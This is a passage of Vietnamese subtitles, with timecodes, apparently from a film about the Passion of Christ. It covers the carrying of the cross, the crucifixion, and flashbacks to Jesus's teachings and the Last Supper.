gì, tên điên dại kia?

01:10:21.040 --> 01:10:23.680
Thôi, Bệ Hạ! Đi!

01:11:46.040 --> 01:11:48.400
Xin hãy giúp tôi đến gần Người!

01:11:51.320 --> 01:11:53.520
Lối này!

01:12:41.040 --> 01:12:43.240
Lối này, thưa Mẹ.

01:13:20.960 --> 01:13:22.440
Mẹ...

01:14:21.160 --> 01:14:22.520
Mẹ...

01:14:57.040 --> 01:14:58.840
Mẹ đây....

01:15:02.200 --> 01:15:04.080
Mẹ đây...

01:15:13.960 --> 01:15:18.240
Mẹ thấy đấy, con sẽ
làm mọi điều đổi mới.

01:15:47.600 --> 01:15:48.840
Ai đó?

01:15:49.040 --> 01:15:49.760
Ai?

01:15:52.080 --> 01:15:53.480
Đó là mẹ của tên tù Galilê.

01:15:54.160 --> 01:15:55.240
Thôi đi.

01:15:57.680 --> 01:15:58.600
Nhanh lên!

01:17:06.640 --> 01:17:08.600
Đừng lo... con gái ta.

01:17:09.000 --> 01:17:11.080
Đừng lo.

01:17:40.080 --> 01:17:41.360
Các người mù hay sao?

01:17:42.320 --> 01:17:45.560
Không thấy người này
không đi nổi nữa sao?

01:17:49.520 --> 01:17:50.920
Đỡ lên đi!

01:18:09.360 --> 01:18:10.600
Người kia!

01:18:11.120 --> 01:18:15.480
Phải, ngươi! Lại đây!

01:18:21.800 --> 01:18:22.720
Các ông muốn gì?

01:18:23.320 --> 01:18:26.360
Tên tù này không thể
tự mình vác thập giá...

01:18:26.640 --> 01:18:28.760
Ra giúp hắn! Nhanh lên!

01:18:30.080 --> 01:18:33.520
Tôi không làm được! Không phải
việc tôi! Hãy tìm người khác!

01:18:34.120 --> 01:18:36.320
Xin hãy giúp người!
Đó là 1 vị thánh!

01:18:36.680 --> 01:18:38.400
Làm theo lời đi! Nhanh lên! Đi!

01:18:42.920 --> 01:18:45.200
Đồng ý... nhưng nhớ là

01:18:45.560 --> 01:18:49.160
tôi vô tội
mà phải vác thập giá của tù nhân!

01:18:50.480 --> 01:18:52.840
Ở đây! Chờ tôi!

01:20:44.040 --> 01:20:46.560
Xin phép Ngài...

01:21:15.320 --> 01:21:18.760
Ngươi tưởng ngươi là ai? Tránh ra!

01:21:19.120 --> 01:21:21.520
Thật khó dạy!

01:21:22.960 --> 01:21:24.440
Có ai can thiệp dùm!

01:21:33.440 --> 01:21:35.480
Ngừng tay! Ngừng tay!

01:21:50.360 --> 01:21:53.800
Ngừng tay! Ngừng tay!

01:22:00.920 --> 01:22:03.800
Để anh ta yên!

01:22:10.600 --> 01:22:15.280
Nếu không ngưng, tôi sẽ không
vác thập giá thêm 1 bước nào nữa.

01:22:16.080 --> 01:22:18.920
Các anh có làm gì tôi cũng mặc!

01:22:23.880 --> 01:22:26.720
Thôi, thôi, cứ đi đi!

01:22:27.240 --> 01:22:29.920
Không có nhiều thì giờ, đi đi!

01:22:36.240 --> 01:22:37.800
Đi đi...

01:22:38.600 --> 01:22:40.160
...tên Do Thái!

01:25:11.480 --> 01:25:13.000
Gần đến nơi rồi!

01:25:19.360 --> 01:25:21.280
Gần đến rồi!

01:25:35.320 --> 01:25:37.200
Sắp xong rồi.

01:25:47.360 --> 01:25:51.480
Anh em đã từng nghe...

01:25:53.040 --> 01:25:56.200
Ngươi sẽ yêu người láng
giềng và căm ghét kẻ thù...

01:25:57.720 --> 01:25:59.800
Nhưng ta bảo anh em..

01:26:00.880 --> 01:26:05.600
Hăy yêu kẻ thù của mình và
cầu nguyện cho kẻ hành hạ ta.

01:26:08.280 --> 01:26:11.400
Bởi nêu chỉ yêu thương
kẻ yêu thương ta...

01:26:14.800 --> 01:26:17.440
thì có gì đáng khen trong điều đó?

01:27:11.640 --> 01:27:13.880
Ta là Mục đồng,
là kẻ chăn chiên...

01:27:15.240 --> 01:27:17.640
Ta hy sinh mạng sông ta
cho đàn chiên của ta...

01:27:18.360 --> 01:27:21.280
Sự sống của ta, không
ai lấy đi được...

01:27:22.000 --> 01:27:23.920
Ta tự ý hiến dâng
sự sống của mình

01:27:24.360 --> 01:27:26.400
Ta có thể từ bỏ nó...

01:27:26.960 --> 01:27:30.280
và có thể lấy lại sự sống đó...

01:27:32.760 --> 01:27:34.600
Mệnh lệnh này là của Cha ta

01:28:13.320 --> 01:28:17.600
Đi đi. Mi được tư do rồi đó. Đi đi!

01:28:25.440 --> 01:28:29.000
Đứng lên đi!

01:29:06.480 --> 01:29:09.520
Mời Bệ hạ đứng lên!

01:29:10.320 --> 01:29:12.360
Đứng lên không được sao?

01:29:13.720 --> 01:29:15.960
Không có nhiều thì giờ!

01:29:24.720 --> 01:29:26.200
Nhanh lên! Đi! Sẵn sàng rồi!

01:29:26.480 --> 01:29:28.240
Mời bệ hạ đứng lên!

01:31:08.440 --> 01:31:09.920
Các môn đệ là bạn hữu của ta...

01:31:11.760 --> 01:31:16.520
Không tình thương nào vĩ  đại hơn
khi 1 người hy sinh cho bạn mình...

01:32:13.040 --> 01:32:15.440
Ta không còn ở với
các anh em lâu nữa...

01:32:15.720 --> 01:32:21.120
Nơi ta đi... anh em không thể đến.

01:32:21.600 --> 01:32:24.800
Lời ta truyền cho anh
em sau khi ta ra đi là...

01:32:26.520 --> 01:32:28.080
Hãy thương yêu nhau...

01:32:29.000 --> 01:32:31.600
như
ta đã thương yêu anh em

01:32:32.280 --> 01:32:36.240
...so love one another.

01:32:58.480 --> 01:33:01.000
Anh em tin nơi ta.

01:33:04.560 --> 01:33:07.080
Anh em biết ta là Con đường,

01:33:07.920 --> 01:33:12.640
là Sự Thật, và Sự Sông.

01:33:14.560 --> 01:33:18.880
Và sẽ không ai về với
Chúa Cha mà không qua ta.

01:33:23.600 --> 01:33:25.640
Căng ra nữa!

01:33:32.240 --> 01:33:35.560
Đồ ngu! Để ta chỉ cho cách làm!

01:33:35.920 --> 01:33:36.920
Như thế này này!

01:33:54.720 --> 01:33:59.040
Không... lại đó! Giữ bàn
tay mở ra như thế này!

01:33:59.600 --> 01:34:02.040
Lạy Cha... xin hãy tha thứ cho họ...

01:34:49.920 --> 01:34:51.360
Lạy Cha..

01:34:52.160 --> 01:34:55.880
Lạy Cha của
con... Chúa của con...

01:34:59.520 --> 01:35:02.520
Họ không biết... Họ không biết!

01:35:06.280 --> 01:35:08.280
Dốt nát

01:35:08.640 --> 01:35:12.200
Lật sấp thánh giá lại!

01:36:36.800 --> 01:36:39.400
Hãy nhận lấy và và ăn

01:36:39.920 --> 01:36:44.160
vi này
là mình ta... mà ta đã dâng hiến...

01:38:24.360 --> 01:38:26.560
Hãy uống rượu này..

01:38:28.840 --> 01:38:31.560
Vì đây là máu Tân ước đã đổ

01:38:32.680 --> 01:38:36.720
vì anh em và nhiều kẻ khác
để xoá sạch mọi tội lỗi...

01:38:37.200 --> 01:38:39.080
Hãy làm việc này mà nhớ đến ta.

01:39:07.480 --> 01:39:12.240
Người là Con của Chúa trời,
sao không tự cứu mình đi!

01:39:14.200 --> 01:39:16.080
Hãy chứng minh

01:39:17.880 --> 01:39:20.800
người là kẻ đó!

01:39:38.440 --> 01:39:41.680
Người nói có thể phá huỷ đền thờ

01:39:41.800 --> 01:39:44.080
và xây dựng nó lại trong 3 ngày...

01:39:44.960 --> 01:39:48.680
Vậy mà ngươi không
tự thoát thân được...

01:39:48.880 --> 01:39:51.320
Nếu hắn là Đấng Cứu Thế...

01:39:52.600 --> 01:39:56.840
cứ để hắn tự gỡ ra từ Thập giá

01:39:58.080 --> 01:40:00.480
để tất cả chúng ta
có thể thấy và tin...

01:40:09.640 --> 01:40:12.600
Lạy Cha... xin hãy tha thứ cho họ...

01:40:14.920 --> 01:40:18.800
bởi họ không biết mình đang làm gì.

01:40:23.360 --> 01:40:25.240
Listen...

01:40:26.560 --> 01:40:29.640
Người cầu nguyện cho ông đó.

01:40:43.920 --> 01:40:46.440
Hai ta đáng tội... Gesmas,

01:40:47.520 --> 01:40:49.440
nhưng người này thì không.

01:40:51.680 --> 01:40:53.120
Tôi đã phạm tội

01:40:54.480 --> 01:40:58.120
và sự trừng
phạt này là đúng đắn...

01:40:59.240 --> 01:41:03.040
Người có kết tội tôi
cũng là công bằng.

01:41:04.360 --> 01:41:09.080
Tôi chỉ mong Người nhớ đến tôi

01:41:09.440 --> 01:41:13.000
khi Người về nước của Người.

01:41:14.880 --> 01:41:16.600
Amen, ngày này,

01:41:19.680 --> 01:41:22.200
ngươi sẽ
cùng ta về nước trời.

01:41:25.120 --> 01:41:26.680
...in paradise.

01:44:33.280 --> 01:44:35.080
Tôi khát...

01:45:08.880 --> 01:45:11.240
Xương thịt của xương thịt ta...

01:45:13.640 --> 01:45:16.480
..Tìm từ tim ta...

01:45:18.160 --> 01:45:22.920
Con trai ta, hãy để mẹ theo con...

01:45:26.360 --> 01:45:28.000
Người phụ nữ kia...

01:45:29.240 --> 01:45:32.520
hãy nhìn con trai bà.

01:45:39.480 --> 01:45:41.640
Còn ngươi, hãy nhìn lại

01:45:46.880 --> 01:45:48.720
me của mình.

01:45:58.400 --> 01:46:01.240
Không còn ai nữa!

01:46:02.360 --> 01:46:07.040
Jesus, không còn ai nữa!

01:46:16.880 --> 01:46:20.160
Chúa ơi...

01:46:32.400 --> 01:46:36.160
... vì sao Ngài bỏ quên con?

01:46:54.120 --> 01:46:56.760
Sứ mạng đã hoàn tất!

01:47:18.000 --> 01:47:21.480
Lạy Cha... con phó thác
linh hồn con cho Cha...

01:47:22.480 --> 01:47:26.560
...l commend...my spirit.

01:49:14.680 --> 01:49:16.640
Cassius! Nhanh lên!

01:49:17.200 --> 01:49:18.600
Nhưng hắn chết rồi!

01:49:20.280 --> 01:49:21.680
Cứ đâm đi cho chắc!

ZeroDay Forums Mini